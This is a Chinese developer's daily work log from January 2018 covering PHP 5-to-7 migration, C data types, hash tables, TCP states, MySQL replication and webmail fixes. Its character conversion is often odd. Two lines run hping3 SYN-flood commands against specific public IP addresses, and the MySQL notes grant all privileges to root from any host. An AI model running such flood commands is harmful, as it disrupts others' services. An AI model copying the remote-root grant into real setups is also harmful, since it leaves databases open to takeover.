FastCgiExternalServer /usr/lib/cgi-bin/php5.fcgi -host 127.0.0.1:9000 -pass-header Authorization -idle-timeout 3600
<Directory /usr/lib/cgi-bin>
Require all granted
</Directory>
</IfModule>
service apache2 restart && sudo service php5-fpm restart
文件內容關鍵字提取並進行計數排序(百度和sohu面試題):
此類問題,能夠演變成分析日誌,查看TCP各個狀態鏈接數,查看單IP鏈接數排名等等
=========================================================================
2018年1月25日 記錄:
1.數據類型和變量:
數據是放在內存中的,明確三件事:數據存儲在哪裏、數據的長度以及數據的處理方式
int n;數據類型指明瞭數據的長度和處理方式,變量名指明瞭數據存儲在哪裏
2.數據長度:是指數據佔用多少個字節,數據類型指明瞭數據長度
基本類型佔用的字節數:char 1,short 2,int 4,long 4,float 4,double 8
3.整數的長度,C語言並無嚴格規定 short、int、long 所佔用的字節數,只作了寬泛的限制:
short 至少佔用2個字節。
int 建議爲一個機器字長。32位環境下機器字長爲4字節,64位環境下機器字長爲8字節。
short 的長度不能大於 int,long 的長度不能小於 int。
4.整數的正負數:
int是4個字節佔用32位內存,第31位表示符號,0是正數,1是負數;若是不但願設置符號位,能夠在數據類型前面加 unsigned
若是不考慮正負數,當全部的位都爲1時它的值最大,爲 2的32次方-1 = 4,294,967,295 ≈ 43億
計算:111:2的3次方-1 101:2的2次方+2的0次方 10:2的1次方+2的0次方
5.在內存中,數值一概採用補碼錶示
原碼:一個整數轉成二進制;反碼:正數的反碼就是其原碼;負數的反碼是將原碼中除符號位之外的每一位取反;
補碼:正數的補碼就是其原碼;負數的補碼是其反碼加1。
6.char 變量在內存中存儲的是字符對應的 ASCII 碼值。
ASCII 碼錶將整數和字符關聯起來了,char是1個字節,最前面一位規定是0,所以0-127個
7.Unicode編碼
漢字怎麼表示,日語韓語拉丁語怎麼表示,Unicode 是一個很大的集合,如今的規模能夠容納100多萬個符號,每一個符號的對應的二進制都不同
8.鏈表的實現很簡單,一般只須要三個關鍵元素:
指向上個元素的指針
指向下個元素的指針
數據容器
億圖圖形圖表設計軟件
http://www.edrawsoft.cn/2download/edrawmax-cn-9.1.exe
=========================================================================
2018年1月24日 記錄:
413 Request Entity Too Large
企郵HTTPS上傳附件,代理限制過小了
企郵上傳超大附件報錯ACT ERROR
win7 ie8
compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E
ab測試的結果:
http://blog.sina.com.cn/s/blog_9c6f23fb0102wgrb.html
Connect,Processing,Waiting,Total字段。這些數據能大體說明測試過程當中所須要的時間。其實咱們能夠只看Total字段中的min,max兩列數據值,這兩個值分別顯示了測試過程當中,花費時間最短和最長的時間。
1.
吞吐量:指對網絡、設備、端口、虛電路或其餘設施,單位時間內成功地傳送數據的數量,三個重要參數QPS(TPS)、併發數、響應時間
併發:在操做系統中,是指一個時間段中有幾個程序都處於已啓動運行到運行完畢之間;與並行的區別,並行是指兩個或者多個事件在同一時刻發生,併發是指兩個或多個事件在同一時間間隔內發生
QPS(TPS):每秒鐘request/事務的數量
響應時間: 通常取平均響應時間
QPS(TPS)= 併發數/平均響應時間
2.
pear:全稱爲PHP擴展與應用庫,一個相似於Perl CPAN檔案的工具
pecl:PHP 擴展模塊,經過pear打包格式來打包安裝的PHP擴展庫倉庫
perl:借取了C、sed、awk、shell 腳本語言,內部集成了正則表達式的功能,以及巨大的第三方代碼庫CPAN,一種腳本語言
Xhprof:層次式性能分析器,不支持PHP7
1.數據蒐集階段
2.後期處理階段
=========================================================================
2018年1月23日 記錄:
從PHP 5.6.x 移植到 PHP 7.0.x 新特性:
1.標量類型聲明
字符串(string), 整數 (int), 浮點數 (float), 布爾值 (bool),callable,array,self,Class/interface name
2.返回值類型聲明
定義參數類型和返回值類型
function test(int $a):int{}
若是不按規定傳參會返回異常
3.null合併運算符
null合併運算符 (??) ,等同於三元運算符
$name=$_GET['name'] ?? "test";echo $name;
4.太空船操做符(組合比較符)
當$a小於、等於或大於$b時它分別返回-一、0或1。
$a <=> $b
5.經過 define() 定義常量數組
define('ANIMALS', ['dog','cat','bird']);
6.匿名類
某個函數參數強制類型,使用匿名類完成
interface Logger {
public function log(string $msg);
}
function test(Logger $logger){
echo $logger->log('aaa');
}
test(new Class implements Logger {
public function log(string $msg) {
return $msg;
}
});
7.Unicode codepoint 轉譯語法
完整的Unicode字符叫codepoint,Unicode爲每種語言中的每一個字符設定了統一而且惟一的二進制編碼
8.爲unserialize()提供過濾,提供更安全的方式解包不可靠的數據,經過白名單的方式來防止潛在的代碼注入
9.預期,assert — 檢查一個斷言是否爲 FALSE
10.Group use declarations
從同一 namespace 導入的類、函數和常量如今能夠經過單個 use 語句 一次性導入了
11.生成器能夠返回表達式
12.Generator delegation
13.整數除法函數 intdiv()
14.會話選項
session_start() 能夠接受一個 array 做爲參數, 用來覆蓋 php.ini 文件中設置
15.CSPRNG Functions
random_bytes() 和 random_int() 用來產生高安全級別的隨機字符串和隨機整數
16.能夠使用 list() 函數來展開實現了 ArrayAccess 接口的對象
17.其餘特性
從 PHP 5.3.X 遷移到 PHP 5.4.X不兼容點:
1.再也不支持 安全模式
2.移除 魔術引號,設置 magic_quotes_gpc 系列將不會生效
3.Salsa10 和 Salsa20 哈希算法 被移除。使用各類哈希算法直接或增量處理任意長度的信息。
4.在 日期與時間擴展 中,再也不支持時區使用 TZ(TimeZone)環境變量設置,必須使用 date.timezone php.ini 配置選項或 date_default_timezone_set() 函數來指定時區
5.調用時的引用傳遞 被移除。將一個變量經過引用傳遞給函數,定義時參數加&引用符,調用函數的時候參數不須要加&
從 PHP 5.4.x 遷移到 PHP 5.5.x不兼容:
1.再也不支持 Windows XP 和 2003
2.pack() 和 unpack() 函數的變化,數據轉成二進制,更兼容 Perl 作了一些變動
3.移除 PHP logo GUIDs,php_logo_guid — 獲取 logo 的 guid
從PHP 5.5.x 移植到 PHP 5.6.x不兼容
1.使用數組標識符爲類定義數組類型的屬性時,數組的鍵不會被覆蓋,顯式數組鍵和隱式數組鍵相同將不會覆蓋.
2.嚴格的 json_decode(), JSON 字面量 true,false 和 null,採用小寫格式
3.當使用 SSL/TLS 的時候,流封裝器默認驗證端點證書和主機名,直接調用ssl://或者tls://協議的時候
4.GMP 資源現爲對象 ,數學擴展庫
5.Mcrypt 函數須要有效長度的密鑰和初始向量,mcrypt庫是加密擴展
6.cURL 文件上傳
必須先設置 CURLOPT_SAFE_UPLOAD 爲 FALSE 纔可以使用 @file 語法來上傳文件
nmap掃描端口的工具
=========================================================================
2018年1月22日 記錄:
掃碼登錄獲取檢測狀態接口增長header頭Cache-Control:no-cache
一.從PHP 5.6.x 移植到 PHP 7.0.x不兼容:
1.錯誤和異常處理
1.1 set_exception_handler()函數申明的類型
function handler($e){
var_dump($e);
}
set_exception_handler('handler');
throw new Exception("sb");
1.2 當內部構造器失敗的時候,老是拋出異常
1.3 解析錯誤會拋出 ParseError 異常
1.4 E_STRICT 警告級別變動
2.變量處理
2.1 關於間接使用變量、屬性和方法的變化
$foo['bar']='a';
$a=1;
var_dump(${$foo['bar']});//輸出1
var_dump($$foo['bar']);//輸出NULL
2.2 關於list()處理方式的變動
2.3 global 只接受簡單變量,不推薦global可變變量
2.4 函數參數附近的括號再也不影響行爲
3.foreach的變化
3.1 foreach再也不改變內部數組指針
3.2 foreach 經過值遍歷時,操做的值爲數組的副本
3.3 foreach經過引用遍歷時,有更好的迭代特性
3.4 非Traversable 對象的遍歷
4.integer的變化
4.1 十六進制字符串再也不被認爲是數字,filter_var()進行轉換
4.2 \u{ 可能引發錯誤
4.3 bitshifts按位轉換超出範圍
4.4 Division By Zero錯誤信息
5.string處理上的調整
6.被移除的函數
6.1 set_magic_quotes_runtime()和magic_quotes_runtime()廢除
6.2 call_user_method() and call_user_method_array() 換成
call_user_func() 和 call_user_func_array()
6.3 全部的 ereg* 函數
6.4 mcrypt 別名
6.5 全部 ext/mysql 函數
6.6 全部 ext/mssql 函數
6.7 intl 別名
6.8 dl() in PHP-FPM
6.9 GD Type1 functions
7.被移除掉的 INI 配置指令
8.其餘
8.1 new 操做符建立的對象不能以引用方式賦值給變量
8.2 無效的類、接口以及 trait 命名,Trait 是爲相似 PHP 的單繼承語言而準備的一種代碼複用機制
8.3 移除了 ASP 和 script PHP 標籤
8.4 從不匹配的上下文發起調用
8.5 yield 變動爲右聯接運算符
8.6 函數定義不能夠包含多個同名參數
8.7 Switch 語句不能夠包含多個 default 塊
8.8 在函數中檢視參數值會返回 當前 的值
8.9 $HTTP_RAW_POST_DATA 被移除
8.10 INI 文件中 # 註釋格式被移除
8.11 JSON 擴展已經被 JSOND 取代
8.12 在數值溢出的時候,內部函數將會失敗
8.13 自定義會話處理器的返回值修復
8.14 相等的元素在排序時的順序問題
hping是用於生成和解析TCPIP協議數據包的開源工具
hping3 --flood -S -p 3306 123.207.167.115
hping3 --flood -S -p 7272 115.28.161.7
對於有cdn的ping 命令這樣寫 ping xxx.com ,二級域名通常都沒解析cdn
=========================================================================
2018年1月19日 記錄:
cgi:一種協議,CGI/1.1 標準
fastcgi:一種升級版協議,常駐型
php-cgi:解釋PHP腳本的程序,實現了fastcgi協議,進程管理較差
php-fpm:是fastcgi進程的管理器,升級版php-cgi,升級了進程調度
哈希表是一種經過哈希函數,將特定的鍵映射到特定值的一種數據結構,它維護鍵和值之間一一對應關係。
1.鍵(key):用於操做數據的標示,例如PHP數組中的索引,或者字符串鍵等等。
2.槽(slot/bucket):哈希表中用於保存數據的一個單元,也就是數據真正存放的容器。
3.哈希函數(hash function):將key映射(map)到數據應該存放的slot所在位置的函數。
4.哈希衝突(hash collision):哈希函數將兩個不一樣的key映射到同一個槽的狀況。(連接法和開放尋址法解決)
數據容器定義:
1.保存哈希表數據自己
typedef struct _Bucket
{
char *key;
void *value;
struct _Bucket *next;
} Bucket;
2.保存
typedef struct _HashTable
{
int size;
int elem_num;
Bucket** buckets;
} HashTable;
1.修復企郵發送超大附件獲取中轉站地址拼接完整url
2.修復企郵簽名保存並設置爲默認簽名錯誤
3.測試修改密碼後彈窗從新輸入驗證新密碼問題
4.測試掃碼登錄失敗提案問題
5.前端資源加載後,文件不全問題,CDN問題
=========================================================================
2018年1月18日 記錄:
測試掃碼登錄失敗問題
TCP狀態
TIME_WAIT:主動關閉方在收到被關閉方的FIN後會處於並長期,2個MSL時間(1-4分鐘),主動回收並將TCP鏈接設爲CLOSED
問題:主動關閉方短期內大量關閉鏈接,該socket所佔用的本地端口號將一直沒法釋放
stdin, stdout, stderr ,標準輸入,標準輸出,標準錯誤
windowsxp下IE8訪問https問題,get訪問http時緩存問題:
1.使用wireshark抓包能夠看到握手錯誤
2.是由於客戶端所支持的加密算法,服務器端配置已經廢棄了,不支持了
3.ie8有時get會使用緩存,沒有發起請求
=========================================================================
2018年1月17日 記錄:
2.void *memset(void *str, int c, size_t n) 複製字符 c(一個無符號字符)到參數 str 所指向的字符串的前 n 個字符。
C 庫函數 char *strcpy(char *dest, const char *src) 把 src 所指向的字符串複製到 dest。
1.老師留下做業,我不會作就抄別人的,而後去辦公室交做業,看見老師說:「我抄完了! 」
2.我同事跟人爭執,急了張口來了句「你覺得我吃飯長大的啊?」我一直納悶他到底吃什麼長大的。
=========================================================================
2018年1月16日 記錄:
1.測試修改密碼後彈窗從新輸入驗證新密碼
2.客戶端獲取簽名接口代碼思路梳理
分表的時候,是根據當前用戶的惟一標識計算出的hash值,做爲分表名稱id,全部的這個用戶的數據,只會進入這張分表中
3.要作:對PHP版本升級,測試相應性能,修改高版本PHP不兼容的地方.
系統化瞭解PHP的不一樣版本的差別點;系統化瞭解性能測試以及性能測試框架;系統性總結如今項目的性能瓶頸點,升級版本對項目的提高點以及帶來的總體好處
無頭瀏覽器即headless browser,是一種沒有界面的瀏覽器。既然是瀏覽器那麼瀏覽器該有的東西它都應該有,只是看不到界面而已。
CGI:通用網關接口Common Gateway Interface,它可讓一個客戶端,從網頁瀏覽器向執行在Web服務器上的程序請求數據
CGI描述了客戶端和這個程序之間傳輸數據的一種標準
CGI的運行原理
1.客戶端經過HTTP協議訪問URL
2.服務端HTTP daemon守護進程啓動子進程,在子進程中把數據傳遞給CGI程序
3.子進程經過HTTP協議返回給客戶端
1.malloc:memory allocation 動態內存分配,malloc函數向系統申請分配指定字節的內存空間,分配成功則返回指向被分配內存空間的指針
void* 表示未肯定類型的指針,經過類型轉換強制轉換爲任何其它類型的指針
malloc函數的實質體如今,它有一個將可用的內存塊鏈接爲一個長長的列表的所謂空閒鏈表。調用malloc函數時,它沿鏈接表尋找一個大到足以知足用戶請求所須要的內存塊。
2.strcpy函數把從src地址開始且含有'\0'結束符的字符串複製到以dest開始的地址空間,返回值的類型爲char*。
char *strcpy(char* dest, const char *src);
字符串結束符'\0','\0'是轉譯字符,用一個字符數組來存放一個字符串,'\0'是由C編譯系統自動加上的.
3.sprintf()函數:將格式化的數據寫入字符串
int sprintf(char *str, char * format [, argument, ...]);
char str[20];
sprintf(str,"hello %s","world");
printf("%s",str);//輸出 hello world
strcat函數將兩個char類型的數據鏈接,返回char *
strlen()函數:返回字符串的長度,在#include <string.h>這個頭文件中
=========================================================================
2018年1月15日 記錄:
上線webmail彈窗
1.web前端構建預渲染技術
FP FCP FMP TTI
2.服務端預渲染技術
nodejs server side render
3.構建時預渲染技術
無頭瀏覽器headless ,PhontomJS Pupetteer
=========================================================================
2018年1月12日 記錄:
企郵新浪存儲部分兼容HTTPS
修復企郵發信文本框空格問題
EDS開發:
支持代理商查看名下用戶的eds報表
客服系統外發登錄日誌查詢優化顯示詳細的錯誤日誌,顯示外發頻率次數限制
個性登陸頁裏的安全登錄框
PHP中弱類型的實現:
1.變量存儲在zval結構體中
typedef struct _zval_struct zval;//typedef給類型起一個別名
zval結構體的type字段就是實現弱類型最關鍵的字段了,type的值能夠爲: IS_NULL、IS_BOOL、IS_LONG、IS_DOUBLE、IS_STRING、IS_ARRAY、IS_OBJECT和IS_RESOURCE 之一。
2.變量的值存儲在zvalue_value聯合體中
typedef union _zvalue_value zvalue_value
結構體和共用體的區別在於:結構體的各個成員會佔用不一樣的內存,互相之間沒有影響;而共用體的全部成員佔用同一段內存,修改一個成員會影響其他全部成員。共用體使用了內存覆蓋技術,共用體佔用的內存等於最長的成員佔用的內存.
3.數組的值存儲在zvalue_value.ht字段中,它是一個HashTable類型的數據。
哈希表一般提供查找(Search),插入(Insert),刪除(Delete)等操做
ICO (ICO是一種區塊鏈行業術語)
IPO:首次公開募股
=========================================================================
2018年1月11日 記錄:
系統時間的幾個概念 GMT,UTC,DST,CST
UTC=GMT
CET=UTC/GMT + 1小時
CST=UTC/GMT +8 小時
CST的全稱有表示爲 Central Standard Time 的,也有表示爲 China Standard Time
gmdate("D, d M Y H:i:s", time())." GMT")//http頭裏面GMT的時間
gmdate("Y-m-d\TH:i:s\Z");//UTC的時間
寫時複製:
PHP存儲變量的結構體,結構體名_zval_struct,結構體成員:
struct _zval_struct{
zvalue_value value;//變量值
zend_uint refcount__gc;//指向該結構體的變量數
zend_uchar type;//變量類型
zend_uchar is_ref__gc;//是否爲引用變量,0否,1是
}
$myName = $name;這個過程當中並無主動變成兩個結構體(這也算PHP內部實現優化的一種,只用一個結構體,省了內存)。
$myName改爲’gzchen’,而是複製多了一份結構體出來,兩個結構體分別對應着$name和$myName。這個就是寫時複製(Copy-on-write,COW)在做怪,他沒有在$myName = $name;賦值的時候就分裂成兩個結構體,而是在咱們改寫其中一個變量時發生效果,屬於一種慢複製(也稱慢分裂)
unsigned int是非負整數
unsigned char 8個bit
=========================================================================
2018年1月10日 記錄:
$memLimit=str_replace('M','',ini_get("memory_limit"))*1024*1024;
$memUsage= memory_get_usage()*2;
if($memUsage<$memLimit){
return;
}
if($memUsage<1024*1024*1000){
ini_set("memory_limit",$memUsage);
Sina_Mail_Log::error("increase memory {$memUsage}","EXTEND_MEMORY");
}
php的寫時複製(Copy-on-Write,也縮寫爲COW):
PHP中將一個變量賦值給新變量時,不會當即爲新變量分配內存空間,只是增長了對內存空間的引用。當原變量或者新變量做出任何改變時,纔會爲新變量 分配一塊內存空間
var_dump(memory_get_usage());//int(120784)
$a=10;
var_dump(memory_get_usage());//int(120864),增長80
$b=$a;
var_dump(memory_get_usage());//int(120912),增長48
echo $b;
var_dump(memory_get_usage());//int(120912),不變
$b=10;
var_dump(memory_get_usage());//int(120944),比120864增長80
=========================================================================
2018年1月9日 記錄:
企郵微盾和微博部分兼容https
86萬 30年還清,利息87萬
等額本息還款(每個月固定),等額本金還款(每個月遞減)
房貸有三種貸款買房方式,商業貸款,公積金貸款,公積金+商業貸款組合貸款
Remix是指一首曲子的從新編曲混音版或一張從新編曲混音專輯。Verse主歌 Chorus副歌 Bridge橋接 ,flow:從哪開始,在哪結束,中間怎麼轉。
=========================================================================
2018年1月8日 記錄:
ubuntu開啓mysql5.7的bin-log:
1.[ERROR] You have enabled the binary log, but you haven't provided the mandatory server-id.
/etc/mysql/mysql.conf.d/mysqld.cnf
server-id = 1
log_bin = /var/log/mysql/mysql-bin.log
2.配置主從複製
主:SHOW MASTER STATUS 查看二進制文件名和位置
show slave status\G; 裏面Slave_IO_Running: Connecting,Slave_SQL_Running: Yes
主主複製:
change master to master_host='115.159.28.111',master_user='root',master_password='xx',master_log_file='mysql-bin.000006',master_log_pos=154;
拉取原來的sql文件:rsync -avzP taoshihan@123.206.7.231::xykmovie/pan.sql .
3.ubuntu mysql 3306容許遠程訪問
vim /etc/mysql/mysql.conf.d/mysqld.cnf
註釋#bind-address = 127.0.0.1
容許遠程訪問:
grant all privileges on *.* to root@"%" identified by "pwd" with grant option;
flush privileges;
=========================================================================
2018年1月5日 記錄:
2017年績效KPI
=========================================================================
2018年1月4日 記錄:
1.uniq和sort -u都能去重:
uniq是去掉連續重複行
統計上上週企郵客戶端登錄的用戶有1044個,郵箱列表見附件
3.上線企郵webmail兼容https的前端版本號
3.對數公式
a^x=N(a>0,且a≠1),則x叫作以a爲底N的對數,記作x=log a (N)
大O符號表示算法複雜度
O(1) 常數複雜度
O(n) 線性複雜度
O(n^2)平方複雜度
O(log n)對數複雜度,以2爲底n的對數
B樹:平衡多叉查找樹,這種數據結構通常用在數據庫和文件系統上,B-tree就是指的B樹
磁盤:是一個扁平的圓盤(與電唱機的唱片相似)。盤面上有許多稱爲磁道的圓圈,數據就記錄在這些磁道上。
樹的高度:從結點x向下到某個葉結點最長邊的條數
樹的深度:從根節點往下數
=========================================================================
2018年1月3日 記錄:
樹:具備n個節點的有限集
節點的度:一個節點擁有的子節點數量即成爲節點的度
葉節點:沒有子節點的節點
節點關係:孩子節點,雙親節點,兄弟節點,三角關係
表示法:雙親表示法[下標,data,parent]查找雙親方便,查找孩子麻煩
孩子表示法[下標,data,firstchild,child,next]
雙親孩子表示法[下標,data,parent,firstchild,child,next]
孩子兄弟表示法[data,child,brother]
統計上上週企業客戶端登錄的用戶,12月18號到12月24號
find ./ -type f -name *webmail.log.0.gz|xargs zcat |grep "app,code=2000"|sed 's/^.*json\_\(.*\)____.*$/\1/'|sort -u|tail
cat /var/log/sinamail/webmail/webmail.log|grep "app,code=2000"|sed 's/^.*json\_\(.*\)____.*$/\1/'|uniq
=========================================================================
2018年1月2日 記錄:
浮點數計算問題:
BC系列函數解決http://php.net/manual/zh/ref.bc.php
mysql中的索引類型(index/key):普通索引:默認的主鍵索引:自增字段必定是,惟一性約束;主鍵不必定自增惟一索引:提供惟一性約束,能夠有多個惟一索引全文索引:不支持中文全文檢索,通常用第三方,coreseek/xunsearch外鍵索引:只有InnoDB支持,效率不高不推薦,只使用外鍵思想保證數據一致性和完整性